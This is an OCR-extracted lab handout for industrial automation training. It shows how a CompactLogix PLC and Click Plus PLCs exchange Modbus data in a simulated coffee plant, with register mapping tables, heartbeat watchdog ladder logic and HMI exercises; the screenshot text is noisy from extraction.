(53 Power-Up Handler = General
bl :mﬁ'm Z Decal Imm 2 Name MBTU_MB_Oux
: ) E X Decmal Local data storag Descrption Local data storag
&3 g'&:;';wum “MBTU_MB_0aés] o Decma [Boor Tocal deta storag T controler
[ Parameters and Local Tags RN el d Decial |Boo b,
B MsinRoutine ~ MBTU_MB_u51) 0 Decmal |BooL Local data storag
B Rnitieize ~ MBTU_MB_0c52] 0 Decmal |BooL. Local data storag
1B R Modbus_Parsing -~ MBTU_MB_God53] 0 Decmal ]m Local data storag
1B R_RawOrPackPodClick1 -~ MBTU_MB_God54] 0 Decmal |BoOL Local data storag
1B R_RewOrPackPodClick -~ MBTU_MB_0od55) ) Decmal [pooL. Local data storag
@ _BreakerCtr ~MBTU_MB_0cd(56) ] Decimal [pooL. Local data storag
- (3 P_BreakerCtd - MBTU_MB_Gud57) 0 Decmal [BoOL Local data storag Required
-5 T_ModbusCtrl - MBTU_MB_ocf58] 0 Decmal |BooL. Local data storag Visile
- L P_ModbusMasterTCP ~MBTU_MB_God53] 0 Decmal [BooL. Local data torag ¥ Data
(33 Unscheduled Programs / Phases ~ MBTU_MB_0od60] ) Decmal oo Local data storag @ Pr
&£ Motion Groups - MBTU_MB_Oud51) 0 Decmal 0oL ocal data stora L ] S anhe
& Loc: a storag 9 :
(53 Ungrouped Axes ~ MBTU, 0 Decmal BOOL Local data storag 2 Pt Cornactions 10:0
(33 Add-On Instructions -
& ﬂg:};rw::fmtd M B 0 Decmal BOOL. Local data storag =
@ . — T— —
< i > "~ MBTU_MB_0od66)] 0 Decmal BOOL Local dta storag
Type Laoder Dagram ~ - MBTU_MB_0ad67) 0 Decmal [BooL Local data storag
Descripton ntisize Critcal Va - MBTU_MB_00d68] 0 Decmal |BooL Local data torag
I v " MBTU_MB_0od63) 0 Decmal sooL Local data storag
23 > ~ MBTU_MB_God70) 0 Decmal oL Local data storag e
Tt Controller Organizer T, Logical Organizer ||. » \ Monitor Tags /Edit Tags. 1< >
=)
0 Decimal |m0L Local data storag...
0 i B Local data storag...
1 Local data storag...
0 BO Local data storag...
0 Decimal ImOL Local data storag...

Knowledge Check

communicate

correct CompactlLogix tag value

* You have basically verified the CompactLogix and the Click Plus PLC can communicate via Modbus

* So far you have verified the CompactLogix Modbus Connections tags are set to the Click 1 and Click 2 IP Addresses.
You have also verified the "Enable" bit is set for both connections so the CompactLogix and the Click Plus PLC's can

* You have verified the Useless Box switch has been mapped as a Modbus digital input and is being reported to the

23. You are now going to verify that integer values can be transmitted to and from the Click Plus PLC to the CompactLogix. The

CompactLogix PLC has mapped registers MBTU_MB_4xx[0] through MBTU_MB_4xx[39] to read and write to the Student 1 and
2 Click registers. The following breakdown shows how these registers are mapped:
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CompactLogix Address | Read From / Write To | Click Address
MBTU_MB_4xx[01] Read From Click 1 - DS10
MBTU_MB_4xx[02] Read From Click 1 -DS11
MBTU_MB_4xx[03] Read From Click 1 —DS12
MBTU_MB_4xx[04] Read From Click 1 - DS13
MBTU_MB_4xx[05] Read From Click 1 —DS14
MBTU_MB_4xx[06] Read From Click 1 — DS15
MBTU_MB_4xx[07] Read From Click 1 - DS16
MBTU_MB_4xx[08] Read From Click 1 —DS17
MBTU_MB_4xx[09] Read From Click 1 - DS18
MBTU_MB_4xx[10] Read From Click 1 —DS19
MBTU_MB_4xx[11] Write To Click 1 — DS20
MBTU_MB_4xx[12] Write To Click 1 - DS21
MBTU_MB_4xx[13] Write To Click 1 — DS22
MBTU_MB_4xx[14] Write To Click 1 —DS23
MBTU_MB_4xx[15] Write To Click 1 —DS24
MBTU_MB_4xx[16] Write To Click 1 — DS25
MBTU_MB_4xx[17] Write To Click 1 —DS26
MBTU_MB_4xx[18] Write To Click 1 —DS27
MBTU_MB_4xx[19] Write To Click 1 —DS28
MBTU_MB_4xx[20] Write To Click 1 —DS29
MBTU_MB_4xx([21] Read From Click 2 - DS10
MBTU_MB_4xx[22] Read From Click 2 - DS11
MBTU_MB_4xx[23] Read From Click 2 —DS12
MBTU_MB_4xx[24] Read From Click 2 - DS13
MBTU_MB_4xx[25] Read From Click 2 - DS14
MBTU_MB_4xx[26] Read From Click 2 - DS15
MBTU_MB_4xx[27] Read From Click 2 —DS16
MBTU_MB_4xx[28] Read From Click 2 - DS17
MBTU_MB_4xx[29] Read From Click 2 —DS18
MBTU_MB_4xx[30] Read From Click 2 - DS19
MBTU_MB_4xx[31] Write To Click 2 — DS20
MBTU_MB_4xx[32] Write To Click 2 - DS21
MBTU_MB_4xx[33] Write To Click 2 — DS22
MBTU_MB_4xx[34] Write To Click 2 - DS23
MBTU_MB_4xx[35] Write To Click 2 - DS24
MBTU_MB_4xx[36] Write To Click 2 — DS25
MBTU_MB_4xx[37] Write To Click 2 — DS26
MBTU_MB_4xx[38] Write To Click 2 — DS27
MBTU_MB_4xx[39] Write To Click 2 — DS28
MBTU_MB_4xx[40] Write To Click 2 — DS29

Below is a screen capture of the CompactLogix tags that are associated with reading from and writing to both Click 1 and

Click 2 PLC's.
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'+ MBTU_MB_4xx[0] 20632

[+ MBTU_MB_4xx[1] 100

[+ MBTU_MB_4xx[2] 100

+ MBTU_MB_4xx[3] 0

'+ MBTU_MB_4xx[4] 0

'+ -MBTU_MB_4xx[5] 0

'+ MBTU_MB_4xx[6] 0 Read from Click 1
+ MBTU_MB_4xx[7] 0

'+ MBTU_MB_4xx[8] 0

+ MBTU_MB_4xx[9] 4009 _

'+ MBTU_MB_4xx[10] 20633

4+ MBTU_MB_4xx[11] 100

+ MBTU_MB_4xx[12] 100

+ MBTU_MB_4xx[13] 0

[+ MBTU_MB_4xx[14] 0 _ ,

+ MBTU_MB_4xx([15) 7 Write to Click 1
'+ MBTU_MB_4xx[16] 4016

i+ MBTU_MB_4xx[17] 99

+ MBTU_MB_4xx([18] 4018

'+ MBTU_MB_4xx[19] 4019

+ MBTU_MB_4xx[20] 32574 "

[+ MBTU_MB_4xx[21] 100

I+ MBTU_MB_4xx[22] 100

[+ MBTU_MB_4xx[23] 0

+ MBTU_MB_4xx[24] 0

'+ MBTU_MB_4xx[25] 0 Read from Click 2
I+ MBTU_MB_4xx[26] 0

'+ MBTU_MB_4xx[27] 0

'+ MBTU_MB_4xx[28] 0

'+ MBTU_MB_4xx[29] 3

[+ MBTU_MB_4xx[30] 32575 ~

+ MBTU_MB_4xx[31] 100

'+ MBTU_MB_4xx[32] 100

gg:g:uu::::m: z Write to Click 2
4+ MBTU_MB_4xx[35] 0

'+ MBTU_MB_4xx[36] 0

'+ MBTU_MB_4xx[37] 0

'+ MBTU_MB_4xx[38] 0

[+ MBTU_MB_4xx[39] 0

1+ MBTU_MB_4xx[40] 0 =

Knowledge Check:

* The registers listed above are the values that will be transmitted to and read from the Click Plus PLC.
* If you place a value in the "write" registers the value will be sent to the respective Click Plus PLC

* If you place a value in the Click Plus PLC registers DS10 through DS19, they will be "read" by the CompactLogix
respective tags.
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24 We have seen the register values that represent the data for digital and integer values but now we will explore the
configuration of the Modbus messages for reading and writing values to student 1 and student 2 Click Plus PLCs.

The MBTU_Transaction_xx registers define what kind of Modbus data is mapped to the CompactLogix MBTU_MB registers.
Remember, the MBTU_MB registers were discussed in the previous step and represented the digital and integer values being
written to and read from the Click Plus PLCs.

To understand the message mapping, we must first understand Modbus transaction types. The table below only describes
the transaction types we are using in the lab, but others exist beyond this truncated list.

Modbus Transaction Type Name Description
Function Code
1 Read Coil This function code is used to

read the status of 1 to 2000 coils
in a remote device.

2 Read Discrete This function code is used to
Inputs read from 1 to 2000 contiguous
status of discrete inputs in a
remote device. The application
as configured has a maximum of
256. The discrete inputs in the
response message are packed
as one input per bit of the data
field. 0 = OFF, 1 = ON

16 Write Multiple This function code is used to
Registers write from 1 up to 125
contiguous registers in a remote
device. The application as
configured has a maximum of
120.

If you scroll to the tags named "MBTU_Transactions", we will explore the details of how the integer and Integer data is defined.

MBTU_Transactions_00[0] is configured for Modbus Transaction Type 1 and MBTU_Transactions_00[1] is configured for
Modbus Transaction Type 2. As we see in the table above, Modbus transaction type 1 is a Read Coil command and Modbus
transaction type 2 is a Read Discrete Input command as we can see from the screen capture below.

MBTU_Transactions_00[0] is configured to communicate with student 1's Click Plus PLC while MBTU_Transactions_00[1] is
configured to communicate with student 2's Click Plus PLC.

This structure also allows us to define the beginning read address of the remote Modbus device. We can set the count or
number of contiguous register to read from the remote Modbus device. The LocalOffset tag represents the register offset in
the CompactLogix data array where the data will start to populate the input data in the MBTU_Oxx register. The Count value
represents the number of digital inputs to be read.

For student 1 Click Plus, the LocalOffset is "0" and the length of the digital input read will be "80" input bits.

For student 2 Click Plus, the LocalOffset is "100" and the length of the digital input read will be "80" input bits.
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Informational Note

(IN THIS LAB YOU WILL NOT HAVE TO DO THIS STEP — THIS IS FOR INFORMATION PURPOSES ONLY)

If you make a change to any of these structure values, you will need to turn the ReqBuilt tag value to a 0 or "Off". The
Ladder program will commit the changes on your behalf and then will turn the ReqBuilt bit back to a 1 or "On".

=/ MBTU_Transactions_00 e
= MBTU_Transactions_00[0] e
- MBTU_Transactions_00[0].Enabled 1
[+ MBTU_Transactions_00[0].Pollinterval 10
'+ MBTU_Transactions_00[0]. Trans Type 2
[+ MBTU_Transactions_00[0].UID 0
[+ MBTU_Transactions_00[0]. BeginAddress 0
[+ MBTU_Transactions_00[0]. Count 80
+ MBTU_Transactions_00[0].LocalOffset 0
- MBTU_Transactions_00[0]. TransComplete
'+ MBTU_Transactions_00[0]. TransStat -1

.....

o P 5468
+ MBTU Trmsacbons MO]TralsLadEnor 0
|=-MBTU_Transactions_00[1] o]
- MBTU_Transactions_00[1].Enabled 0
[+ MBTU_Transactions_00[1].Pollinterval 10
'+ MBTU_Transactions_00[1]. Trans Type 2
[+ MBTU_Transactions_00[1].UID 0
'+ MBTU_Transactions_00[1].BeginAddress 0
[+ MBTU_Transactions_00[1].Count 80
[+ MBTU_Transactions_00[1].LocalOffset 100
~MBTU_Transactions_00[1]. TransComplete 0
[+ MBTU_Transactions, M1]Trans&a -1

u 0
 TWBTO Tamsacions 00T T 15768
E + MBTU Tmsadaons (IIHTmsLasEmr 0

[+ MBTU_Transactions_00[2] [l
[+ MBTU_Transactions_00[3] Homl!
[+ MBTU_Transactions_00[4] |

25. MBTU_Transactions_00[4] and MBTU_Transactions_01[4] have a Modbus Transaction Type of 16 which is used to write
integer registers from the Click Plus PLCs. This is different than reading and writing digital points, this part of the data
structure is used to read and write integer values.

Remembering student 1's Click is mapped to all the MBTU_Transactions_00 while student 2's Click is mapped to all the
MBTU_Transactions_01. To interpret this structure, the CompactLogix will write to Click 1 and Click 2's register beginning at
address 19 in the Click. It will write 10 contiguous registers as set by the Count value.

If we look at MBTU_Transactions_00[4].LocalOffset register which is a value of 10, this can be interpreted as the read of the
Click 1 registers will be mapped to MBTU_MB_4xx[10] through MBTU_MB_[19].
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If we look at MBTU_Transactions_01[4].LocalOffset register which is a value of 30, this can be interpreted as the read of the
Click 2 registers will be mapped to MBTU_MB_4xx[20] through MBTU_MB_[29].
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Knowledge Check:
* The configuration of the Modbus reads and writes occur by setting the Transaction Type or "TransType" tag. A value
of 1 or 2 will read digital inputs. A Modbus value of 16 is used for writing integer values.

* You can set the BeginAddress tag value to the data storage (DS) register you want to read from or set it to the

beginning address of the value you want to write to.
* This structure allows you to set the length of the read or write by setting the "Count" value

* You can use the LocalOffset field as a pointer to the value in the local array where the of data is going to be written to

or written from within the CompactLogix tags

Task 2 -- Verify heartbeat registers

It is common to code ladder logic that monitors the communication health by sending a heartbeat signal, like an incrementing
value to the client and have them echo the heartbeat signal back to verify they are receiving communications.

1. If you open the routine named R_Modbus_Parsing, you will find the first seven rungs of ladder logic reads the last heartbeat
values from the Click Plus PLC, increments the heartbeat value and sends it to the Click Plus PLCs.

@ Logix Designer - RawPod1 in RawPod0101182022 Lab1.7.ACD [1769-L18ER-BB1B 24.13] - [MainProgram - R_Modbus_Parsing] - o %
H File Edit View Search Llogic Communications Tools Window Help - & x
BEH & sE o o V&8 Bh Y QQ s v| @
Rem Run ™ M Run Mode Path |»\B_EFHIP»1\|/_216!2 v | &
6 Facse »| M Cortroler OK ’ =
No Edts a :m*mo" « H 1k L) W D »
k B < >7\Favorites s, 3 meriCounter
Controller Organizer > 2 X I B SEEm S ey @ | L X R ¥ W L
=-£3 Controller RawPod1 ~
B Controller Tags The folowing rung moves the heartbeat value read from Click 1, Register DS10 into a buffered register 50 we're not working on the five data ~
Read From Clck 01
,_] Controller Fault Handler the Heartbeat signal
(3 Power-Up Handler fron e
) 3 Tasks Compactiogec
8 MainTask =
¢ ove
=8 MainProgram Source MBTU_MB_4xx{0]
D) Parameters and Local Tags <2994
b MainRoutine Dest dR_ChO1HeartbestEcho
B) Pod2PodComms 52994
= Virte to Cick 01 2
B) R_RewOrPackPodClick2 Heartbeat vake to
-8 T_BreakerCtrl make sure
& communications are
5 [P BreakerCut occuring
4@ T_ModbusCtrl -
4 £ P_ModbusMasterTCP 1 Hove —
(33 Unscheduled Programs / Phases v Source "BW'MB"’O;’:,“S.
Dest  dW_CKO1Heartbeat
53004
The following X rungs are used to increment the heartbeat value 1o insure communications are occuring batween the CompactLogix process and the Click PLC's
Virte to Cick 01 2
Read From Cick 01 Heartbest value to
the Heartbeat signal make sure
from the communications are
Compactiogix occuring
-—J-—EOU l-—ADD—l——
> Eount =l ada v

Ready Rung 0 of 10 APP VER )

In the example code below, we take the heartbeat value from the Click Plus PLC and we move it into a buffered register named
dR_ClIkO1HeartbeatEcho. We also take the current value of the CompactLogix heartbeat and write that value to a buffered
register named dW_CIkO1Heartbeat
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The following rung moves the heartbeat value read from Click 1, Register DS10 into 3 buffered register so we're not working on the live data

Read From Click 01
the Heartbeat signal
from the
Compactiogix

W

Move —
Source METU_ME_4x([0]
20832 ¢
Dest dR_ClkO01HeartbeatEcho
20822 ¢

Write to Click 01 2
Heartbeat value to

make sure
communications are

occuring

I
1 Move —1
Source MBTU_MB_4xx{10]
20822 ¢
Dest dW_ClkO1Heartbeat

20832 ¢

2. The EQU instruction on this rung evaluates when the Heartbeat value in the CompactLogix is equal to the Heartbeat Echo

value from Click 1. Once the values are equal, we know the communications are still occurring properly so we can increment
the Heartbeat value and copy it to the Heartbeat write register.

In the second rung below, we have a Watchdog timer that will time when the Heartbeat value in the CompactLogix is not equal
to the Heartbeat Echo value from Click 1. If the values are not equal, then we know the communications are no occurring
properly. If the Watchdog timer times out, we can throw a communication alarm.

The following x rungs are used to increment the heartbeat value to insure communications are occuring between the CompactLogix process and the Click PLC's

Read From Click 01
the Heartbeat signal
from the
Compactiogix

EQU

—{ Eaqual

Write to Click 01 a
Heartbeat value to
make sure
communications are
occuring

Source A dR_CIk01HeartbeatEcho
20822 §
Source B dW_Clk01Heartbeat
20822 §

f—— Not Equal

Read From Click 01
the Heartbeat signal
from the
Compactiogix

NE!

Write to Click 01 a
Heartbeat value to

DD-
Add

Source A dW_CIk01Heartbeat
20832 ¢
Source B 1

Dest dW_Clk01Heartbeat
20823 ¢

Write to Click 01 a
Heartbeat value to

make sure make sure
communications are communications are
occuring occuring
E MO\
—— Grtr Than or Eql (A>=E) ——— Move —
Source A dW_ClkO1Heartbeat Source 0

20832 ¢
Source B 32768

Dest dW_ClkO1Heartbeat
20633 ¢

Local data storage

used for reading to
and writing from.
Holding register

Source A dR_ClkO1HeartbeatEcho
20832 ¢

Source B dW_CIk01Heartbeat
20833 ¢

Values.
"

Move —
Source dW_CIk01Heartbeat

20833 ¢
Dest  MBTU_MB_4xx[10]

20832 ¢

Click 01
Communication
Watchdog timer
t_CIk01WatchDog
{RES;
Click 01
Communication
‘Watchdog timer
TON

Timer On Delay IS EN Y|
Timer t_ClkO1WatchDog
Preset 10000 €fsC DN e
Accum 10000 ¢

3. The heartbeat echo from the Click Plus PLCs do not happen magically, rather we simply echo the last value we received from
the CompactLogix PLC. In the Click Plus PLC rung below found in the PRODSEL subroutine, we copy the current heartbeat
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value that we read from the CompactLogix Pod PLC, and we echo the value back into a register being read by the

CompactLogix PLC.

DEd R |
mm el E
[ Navigation

Program  Function PLG

G File Edit View Setup Program Instruction PLC Monitor Window Help
Kam|90 | Mok

=4} Ladder Program
] Main Program
2 ﬁ Subroutine Program
& ALARMMGMT
& FLASHER
& INITALZE
1 PRODSEL

E CLICK Programming Software - Click sAB Modbus Labx<V1 Pod1.ckp - [PRODSEL]

u I‘ H Offline ‘ PLC Mode ‘ PLC Error Nicknames Address Comments ~ Rung Comments Coil Area

[aaa] [FQCr0 HGREGE[PMA TS NG| @B

A l B [ c T o [T E T F T & ]

AF

ICopy

Src

Des

Single|
sR_HeartbeatFromAB
mDs20

sW_HeartbeatToAB
mps10

For student 1, you can examine MBTU_MB_4xx[0] and MBTU_MB_4xx[10] to see the incrementing and echo values.

4. For Student 2, the logic works in the very same manner. The Click 2 Heartbeat registers are MBTU_MB_4xx[20] and

MBTU_MB_4xx[30].
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-

The following rung moves the heartbeat value read from Click 2, Register DS10 into a buffered register so we're not working on the live data

Read From Click 02
the Heartbeat signal

from the

Compactiogix

JAOV-

Move

Source  MBTU_MB_4x{20]
k.|

Dest dR_Clk02HeartbeatEcho
354

L

Write to Click 02 a
Heartbeat value to

make sure

communications are

occuring
MOV

The following x rungs are used to the

|—{ Equal

Read From Click 02
the Heartbeat signal
from the
Compactiogix

EQU.

value to insure

are occuring between the CompactLogix process and the Click PLC's

Move

Source MBTU_MB_$:20]
355 ¢

Dest aW_Clk02Heartbeat

355 ¢

Write to Click 02 3
Heartbeat value to
make sure
communications are
occuring

ADD-

Source A dR_ClkO2HeartbeatEcho

Source B dW_Ck02Heartbeat

Read From Click 02
the Heartbeat signal
from the
Compactiogix

NE

Not Equal

Add
Source A dW_Clk02Hear

Source B

Dest dW_CkO2Heartbest

rtbeat
75 4
1

Tt 4

Write to Click 02 3
Heartbeat value to

Wirite to Click 02 a
Heartbeat value to

375 ¢
Source B 32768

make sure make sure
communications are communications are
occuring occuring
GEQ. MOV
p——{ Grtr Than or Eql (A>=B) f—{ Move
Source A dW_Clk02Heartbeat Source 0

Dest dW_Clk02Heartbeat

KIER

Local data storage
used for reading to
and writing from.
Holding register
Valves.

MOV-

Move

Source dW_Clk02Heartbeat

Dest MBTU_MB_4xq20)

375 4

375 4

Click 02
Communication
Watchdog timer

t_Ck02WatchDog

{RES)

Click 02
Communication
Watchdog timer

TON.

Source A dR_Clk02HeartbeatEcho
74 ¢
Source B dW_Ck02Heartbeat

75 ¢
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Task 3 -- Enter coffee plant requests
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Timer On Delay

Timer 1_Clk02WatchDog
Preset 10000 €-CON>—
Accum 1036 ¢

ICEN Yo

Continuing our exploration of the Modbus registers, we will use our local C-more HMI to enter values into the Click Plus PLC and

watch how they get moved into the CompactLogix Modbus registers. We will also watch how the CompactLogix PLC sends status
values to the Click Plus PLC.
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Below are detailed tables describing the mapping of coffee factory resources from the Click Plus PLC to the CompactLogix PLC.
Don't worry about remembering the mapping as the tables below are for reference only. Glance over the tables to become familiar
with your Pod's mapping and realize that the mapping exercise is something an automation engineer will do in order to define

communications between equipment.

Note

This is the type of information you want to protect as this lays out the expected communications interfaces between
equipment. This type of information in the wrong hands can lead to disastrous consequences of unexpected machine
movement, overridden safety information and misinformation between machines through these interfaces.

Raw Ingredients and Packaging Areas — Click1

Click Register | Description Allen-Bradley Register | A-B Tag Name

DS10 Heartbeat Echo MBTU_MB_4xx[0] dR_CIkO1HeartbeatEcho
DS11 Product Type 1 Request MBTU_MB_4xx[1] dR_CIkO1ProdTypeO1Req
DS12 Product Type 1 Weight Request MBTU_MB_4xx[2] dR_CIkO1Prod01WeightReq
DS13 Tote Request MBTU_MB_4xx[3] dR_CIkO1ToteRequest
DS14 Fill Request MBTU_MB_4xx[4] dR_CIkO1FillBagRequest
DS15 Is Bag Filled Request MBTU_MB_4xx[5] dR_CIkO1BagFilled

DS16 Actual Weight MBTU_MB_4xx[6] dR_CIkO1BagActIWeight
DS17 Final Bag Weight MBTU_MB_4xx[7] dR_ClikO1FilledWeight
DS18 Bar Code MBTU_MB_4xx[8] dR_CIkO1ProdBarCode01
DS19 Temperature MBTU_MB_4xx[9] dR_Click1Temp

DS20 Heartbeat MBTU_MB_4xx[10] dW_CIkO1Heartbeat
DS21 Product Type 1 Response MBTU_MB_4xx[11] dW_CIkO1ProdTypeO1Res
DS22 Product Type 1 Weight Response | MBTU_MB_4xx[12] dW_CIk01Prod01WeightRes
DS23 Tote Response MBTU_MB_4xx[13] dW_CIkO1ToteReqRes
DS24 Fill Response MBTU_MB_4xx[14] dW_CIkO1FillResponse
DS25 Is Bag Filled Response MBTU_MB_4xx[15] dW_CIkO1BagFilled

DS26 Actual Weight Response MBTU_MB_4xx[16] dW_CIk01BagActWeight
DS27 Final Bag Weight Response MBTU_MB_4xx[17] dW_CIkO1FilledWeight
DS28 Bar Code Response MBTU_MB_4xx[18] dW_CIkO1ProdBarCode01
DS29 Temperature Response MBTU_MB_4xx[19] N/A

Raw Ingredients and Packaging Areas — Click2
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Click Register | Description Allen-Bradley Register | A-B Tag Name

DS10 Heartbeat Echo MBTU_MB_4xx[20] dR_ClkO2HeartbeatEcho
DS11 Product Type 1 Request MBTU_MB_4xx[21] dR_CIkO2ProdTypeO1Req
DS12 Product Type 1 Weight Request MBTU_MB_4xx[22] dR_CIk02Prod01WeightReq
DS13 Tote Request MBTU_MB_4xx[23] dR_CIkO2ToteRequest
DS14 Fill Request MBTU_MB_4xx[24] dR_CIkO2FillBagRequest
DS15 Is Bag Filled Request MBTU_MB_4xx[25] dR_CIk02BagFilled

DS16 Actual Weight MBTU_MB_4xx[26] dR_CIk02BagActIWeight
DS17 Final Bag Weight MBTU_MB_4xx[27] dR_ClikO2FilledWeight
DS18 Bar Code MBTU_MB_4xx[28] dR_CIkO2ProdBarCode01
DS19 Temperature MBTU_MB_4xx[29] dR_Click2Temp

DS20 Heartbeat MBTU_MB_4xx[30] dW_CIkO2Heartbeat
DS21 Product Type 1 Response MBTU_MB_4xx[31] dW_CIkO2ProdTypeO1Res
DS22 Product Type 1 Weight Response | MBTU_MB_4xx[32] dW_CIk02Prod01WeightRes
DS23 Tote Response MBTU_MB_4xx[33] dW_ClkO2ToteReqRes
DS24 Fill Response MBTU_MB_4xx[34] dW_CIkO2FillResponse
DS25 Is Bag Filled Response MBTU_MB_4xx[35] dW_CIk02BagFilled

DS26 Actual Weight Response MBTU_MB_4xx[36] dW_CIk02BagActWeight
DS27 Final Bag Weight Response MBTU_MB_4xx[37] dW_CIkO2FilledWeight
DS28 Bar Code Response MBTU_MB_4xx[38] dW_CIkO2ProdBarCode01
DS29 Temperature Response MBTU_MB_4xx[39] N/A

Mixing and Grinding Areas — Click1

Click Register | Description Allen-Bradley Register | A-B Tag Name
DS10 Heartbeat Echo MBTU_MB_4xx[0] dR_ClkO1HeartbeatEcho
DS11 Product Type 1 Request MBTU_MB_4xx[1] dR_CIkO1ProdTypeO1Req
DS12 Product Type 1 Weight Request MBTU_MB_4xx[2] dR_CIk01Prod01WeightReq
DS13 Product Type 2 Request MBTU_MB_4xx[3] dR_CIkO1ProdTypeO2Req
DS14 Product Type 2 Weight Request MBTU_MB_4xx[4] dR_CIk01Prod02WeightReq
DS15 Mixing / Grinding Duration MBTU_MB_4xx[5] dR_CIkO1MixTimeReq
DS16 Mixing / Grinding Request MBTU_MB_4xx[6] dR_CIk01MixReq
DS17 Final Bag Weight MBTU_MB_4xx[7] dR_ClikO1FilledWeight
DS18 Bar Code MBTU_MB_4xx[8] dR_CIkO1ProdBarCode01
DS19 Temperature MBTU_MB_4xx[9] dR_Click1Temp
DS20 Heartbeat MBTU_MB_4xx[10] dW_ClkO1Heartbeat
DS21 Product Type 1 Response MBTU_MB_4xx[11] dW_CIkO1ProdTypeO1Res
DS22 Product Type 1 Weight Response | MBTU_MB_4xx[12] dW_ClkO1Prod01WeightRes
DS23 Product Type 2 Response MBTU_MB_4xx[13] dW_CIkO1ProdTypeO2Res
DS24 Product Type 2 Weight Response | MBTU_MB_4xx[14] dW_CIkO1Prod02WeightRes
DS25 Mixing / Grinding Duration MBTU_MB_4xx[15]

Response dW_CIk01MixTimeRes
DS26 Mixing / Grinding Request MBTU_MB_4xx[16]

Response dW_ClkO1MixRes
DS27 Final Bag Weight Response MBTU_MB_4xx[17] dW_CIkO1FilledWeight
DS28 Bar Code Response MBTU_MB_4xx[18] dW_ClkO1ProdBarCode01
DS29 Temperature Response MBTU_MB_4xx[19] N/A

Mixing and Grinding Areas - Click2
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Click Register | Description Allen-Bradley Register | A-B Tag Name
DS10 Heartbeat Echo MBTU_MB_4xx[20] dR_CIkO2HeartbeatEcho
DS11 Product Type 1 Request MBTU_MB_4xx[21] dR_CIk02ProdTypeO1Req
DS12 Product Type 1 Weight Request MBTU_MB_4xx[22] dR_CIk02Prod01WeightReq
DS13 Product Type 2 Request MBTU_MB_4xx[23] dR_CIkO2ProdTypeO2Req
DS14 Product Type 2 Weight Request MBTU_MB_4xx[24] dR_CIk02Prod02WeightReq
DS15 Mixing / Grinding Duration MBTU_MB_4xx[25] dR_CIk02MixTimeReq
DS16 Mixing / Grinding Request MBTU_MB_4xx[26] dR_CIk02MixReq
DS17 Final Bag Weight MBTU_MB_4xx[27] dR_ClikO2FilledWeight
DS18 Bar Code MBTU_MB_4xx[28] dR_CIk02ProdBarCode01
DS19 Temperature MBTU_MB_4xx[29] dR_Click2Temp
DS20 Heartbeat MBTU_MB_4xx[30] dW_ClkO2Heartbeat
DS21 Product Type 1 Response MBTU_MB_4xx[31] dW_CIkO2ProdTypeO1Res
DS22 Product Type 1 Weight Response | MBTU_MB_4xx[32] dW_CIk02Prod01WeightRes
DS23 Product Type 2 Response MBTU_MB_4xx[33] dW_CIkO2ProdTypeO2Res
DS24 Product Type 2 Weight Response | MBTU_MB_4xx[34] dW_CIkO2Prod02WeightRes
DS25 Mixing / Grinding Duration MBTU_MB_4xx[35]

Response dW_CIk02MixTimeRes
DS26 Mixing / Grinding Request MBTU_MB_4xx[36]

Response dW_Clk02MixRes
DS27 Final Bag Weight Response MBTU_MB_4xx[37] dW_CIkO2FilledWeight
DS28 Bar Code Response MBTU_MB_4xx[38] dW_CIkO2ProdBarCode01
DS29 Temperature Response MBTU_MB_4xx[39] N/A

1. Change setpoints values on your student kit C-more HMI and watch the corresponding registers change in both the Click Plus

PLC and the pod CompactLogix PLC. This step will help us validate basic operator functionality.

2. Entering a new value "pre-loads” the new value into the Click Plus data table. After entering the values, you must push the

Req button on the C-more HMI to "commit" the value into to the process. The values under the entry boxes indicate what
values are currently used by the process. If these values do not match the entry box, click req again. If no change after a
couple of attempts ask for assistance from the instructor.

Note

If you are assigned to the Raw Ingredients or Packaging Area pod follow step 2a and skip 2b. If you are assigned to the
Mixing or Grinding area pods, skip to Step 2b.

2a. For Raw Ingredients or Packaging Area pods, enter the following values:
* Product 1 Type value between 100-105
* Product 1 weight value between 1.0 and 5.00

For student 1, find MBTU_MB_4xx[1] and MBTU_MB_4xx[2] in the CompactLogix and verify the Product 1 values you entered
on the HMI are reflected in the respective tag values.

For student 2, find MBTU_MB_4xx[21] and MBTU_MB_4xx[22] in the CompactLogix and verify the Product 1 values you entered
on the HMI are reflected in the respective tag values.

Go ahead and do the following to see if the batch will run

* Tote Request
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. Fill Request

« After you have configured the Product Select screen(s), and requested a Tote or a Fill, move to the "Actuals” screen where
you will see the incrementing weight until it reaches the final fill weight.

2b. For Mixing and Grinding Area pods, enter the following values:
* Product 1 Type value between 100-105
* Product 1 weight value between 1.0 and 5.00
* Product 2 Type value between 100-105
* Product 2 weight value between 1.0 and 5.0

For student 1, find MBTU_MB_4xx[1] and MBTU_MB_4xx[2] in the CompactLogix and verify the Product 1 values you entered
on the HMI are reflected in the respective tag values. Repeat for Product 2 values at MBTU_MB_4xx[3] and MBTU_MB_4xx[4].

For student 2, find MBTU_MB_4xx[21] and MBTU_MB_4xx[22] in the CompactLogix and verify the Product 1 values you entered
on the HMI are reflected in the respective tag values. Repeat for Product 2 values at MBTU_MB_4xx[23] and MBTU_MB_4xx[24].

Go ahead and do the following to see if the batch will run:
* Enter the Mixing or Grinding duration
* Request the Mixing or Grinding to begin

« After you have configured the Product Select screen(s), and started the Mixing or Grinding, move to the "Actuals” screen
where you will see the incrementing weight until it reaches the final fill weight.

Knowledge Check:
* The CompactLogix Modbus template is designed to allow the implementer to configure the Modbus slave IP Address,
the Modbus Transaction Types to read and write values to and from Modbus devices into the CompactLogix PLC

* You have read the input from the Useless Box into the Click Plus PLC and that was communicated to the
CompactLogix PLC via Modbus reads

* You have started to investigate how integer registers could be used to represent process values like "Coffee Product
Type, "Product weight" and requesting resources like "Totes".

3. Open the webpage from the CompactLogix by launching Chrome within the Windows VM and entering the URL associated to
your pod, http://172.16.[your pod #].2
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' Rockwell Automation X +

& > C A Notsecure | 172.16.1.2/index.htmi?redirect=/home.asp

1769-L18ER/B LOGIX5318ER

Expand Minimize

Device Name 1765-L18ER/B LOGIX5318ER
Device Description

Device Location

Ethernet Address (MAC) 5C:88:16:A2:FS:ES

1P Address 172.16.1.2

Product Revision 24,012 Build 16
Firmware Version Date Sep 15 2014, 20:38:20
Serial Number 60FDCSEF

Uptime 5 days, 18h:25m:53s

4. Within the menu on the left, Click on " biagnostics -> Advanced Diagnostics -> TCP/IP Network -> TCP Connection'.

5. Find your Click communication within the TCP Connection Table. You should see a Modbus connection in the "Remote Port

column. From this we can see that the CompactLogix is the Modbus client and Click is the Modbus server running on port

502. Take a moment and review the information in other pages.

fl  Rockwell Automation X 4+ (+]

& > C A Notsecure | 172.16.1.2/index.html?redirect=/home.asp

RN 1769-L18ER/B LOGIX5318ER

Minimize

State Local Address Local Port Remote Address
